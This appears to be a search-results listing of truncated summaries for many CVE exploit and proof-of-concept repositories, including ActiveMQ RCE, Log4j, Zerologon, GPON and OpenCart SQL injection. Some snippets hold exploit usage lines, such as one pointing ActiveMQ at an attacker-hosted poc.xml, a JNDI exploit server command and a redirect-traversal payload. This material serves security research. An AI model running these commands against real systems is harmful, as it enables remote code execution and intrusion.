1308554 matches found
CVE-2023-46604-Apache-ActiveMQ-RCE-exp
プロジェクト参照 本プロジェクトは、https://github.com/X1r0z/ActiveMQ-RCE プロジェクトの exp を参考にして書き直した python 版の exp です。 使用方法 root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 -p パラメータはデフォルトで activeMQ のデフォルトポートになります。-x パラメータにはプロトコルのプレフィックスを付ける必要があります。 紹介 以下に openwire...
cve-2009-3555-test-server
这是什么？ 这是一个使用Go TLS栈的vendored fork实现的TLS服务器，其中强制禁用了重新协商指示扩展，这将触发OpenSSL 3.0+中针对CVE-2009-3555的缓解措施。注意，它实际上并不容易受到CVE-2009-3555的影响，因为Go TLS栈根本不允许重新协商。 该程序的作用是充当测试服务器，用于测试那些拒绝连接到具有不安全客户端重新协商配置的服务器（例如没有设置SSLOPALLOWUNSAFELEGACYRENEGOTIATION选项的OpenSSL 3.0+）的TLS客户端。...
GPON_RCE
GPONRCE GPONホームルーターにおけるリモートコード実行のエクスプロイト（CVE-2018-10562）Pythonで記述。...
CVE-2025-4123-Exploit
CVE-2025-4123 PoC 一个小型概念验证工具 — 向目标发送特定载荷，并检查 301/302 重定向响应，报告 Location 头。 本仓库仅用于教育/研究目的。请遵循负责任披露政策。以下是使用和构建说明。 概述 该工具向目标域名发送请求，并附加以下载荷。如果服务器响应 301（永久移动）或 302（临时移动），则检查 Location 头以检测潜在漏洞。 载荷：/public/..%2F%5cgoogle.com%2F%3f%2F..%2F.. 该程序通过 CheckRedirect 函数禁用 Go 的自动重定向跟随，从而允许检查初始响应。 环境要求 Go...
CVE-2024-21514
CVE-2024-21514 PoC および一括スキャナー 概要 CVE-2024-21514 の POC: OpenCart の Divido 決済拡張機能に SQL インジェクションの問題が確認されました。この拡張機能はバージョン 3.0.3.9 にデフォルトで含まれています。 この POC は M Ali によって作成され、この Snyk によるセキュリティアドバイザリ に基づいています。 使用方法 必要要件 Python 3.6 以上 requests ライブラリ 単一ターゲットのスキャン 単一のターゲットエンドポイントをスキャンするには: root@kitploit: pyth...
Guide-and-theoretical-code-for-CVE-2023-35674
CVE-2023-35674 のガイドと理論的コード CVE-2023-35674 のガイドと理論的コード Android は私のスキル範囲外なので、これを私の視点からこの CVE をどのように悪用するかの概要としてご覧ください。コードスニペットは単なるスケルトンです。助けてください : まず第一に、CVE-2023-35674 単独では悪用できません。なぜか？ CVE-2023-35674 は論理エラーのため、バックグラウンドアクティビティを起動することしか許可しないからです。つまり、この CVE を使ってアプリをバックグラウンドで起動し、CVE-2021-0307...
mcafee-hip-CVE-2016-8007
mcafee-hip-CVE-2016-8007...
fusee-toy
这个仓库包含了fusee-toy项目的源代码，它是我对CVE-2018-6242（又名Fusée Gelée，又名shofel2）的基本实现。该项目写于2021年1月，旨在加深我对这个漏洞的理解。 此实现参考了fusee-nano和fusee-launcher项目。它被构建为在现代Linux环境下工作。...
ShaikUsaf-frameworks_base_AOSP10_r33_CVE-2022-20138
此存储库没有 README。...
cve-2025-14325-full-repro
このリポジトリには README がありません。...
CVE-2012-4431
Apache Tomcat へようこそ！ これは何ですか？ Apache Tomcat® ソフトウェアは、Java Servlet、JavaServer Pages、Java Expression Language、Java WebSocket テクノロジーのオープンソース実装です。Java Servlet、JavaServer Pages、Java Expression Language、Java WebSocket の各仕様は、Java Community Process のもとで開発されています。 Apache Tomcat...
zerologon
Zerologon Zerologon脆弱性（CVE-2020-1472）をテストおよび悪用するためのスクリプトセット これは何ですか？ ZeroLogonは、MicrosoftのActive Directory Netlogon Remote Protocol（MS-NRPC）の暗号化の欠陥を悪用できる脆弱性です。MS-NRPCは、ユーザーがNTLMを使用してサーバーにログインすることを可能にします。 事前準備 エクスプロイトを実行する前に、別のバージョンのimpacketが必要であることを知っておく必要があります。そのためには、以下を実行します。 apt remove --purge...
Apache-Log4j-POC
Apache-Log4j-POC CVE-2021-44228 Apache Log4j LDAP ルックアップ脆弱性の概念実証 脆弱性の詳細はこちらでご確認いただけます: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ 悪意のあるオブジェクトを返す提供された LDAP サーバーの実行方法は？ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A...
cve-2015-7547
glibc DNSリゾルバの脆弱性CVE-2015-7547に対するPoC攻撃サーバ 脆弱なglibcバージョンでローカルマシン上でテストするには： root@kitploit: user@localhost:/ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf user@localhost:/ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf user@localhost:/ sudo python3 attack-server.py...
cve-2017-2636-el
cve-2017-2636-el このロールは、https://access.redhat.com/security/cve/CVE-2017-2636 に記載されている回避策をインストールし、nhdlc モジュールがロードされないようにブラックリストに追加します。 Requirements このロールは Red Hat Enterprise Linux バージョン 6 および 7、ならびにその派生ディストリビューション（CentOS、CloudLinux など）にのみ適用されます。 License MIT Author Information Alex Zorin @...
CVE-2026-92749
creationtimestamp| type| source ---|---|--- 2026-09-16 22:11:14+00:00| seen| https://bsky.app/profile/stemshop.bsky.social/post/3mvo5t33tqx2f 2026-09-16 23:50:05+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvoddstwwv2j...
VSSCopy
VSSCopy CVE-2021-36934 用の小汚いPoC 使用法: VSSCopy.exe C:\temp クレジット: https://twitter.com/jonasLyk https://twitter.com/gentilkiwi...
CVE-2019-15707
CVE-2019-15707 エクスプロイト...
CVE-2026-92808
creationtimestamp| type| source ---|---|--- 2026-09-16 22:10:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvo5qy6odp24 2026-09-16 22:10:30+00:00| seen| https://bsky.app/profile/stemshop.bsky.social/post/3mvo5rqd45v2w...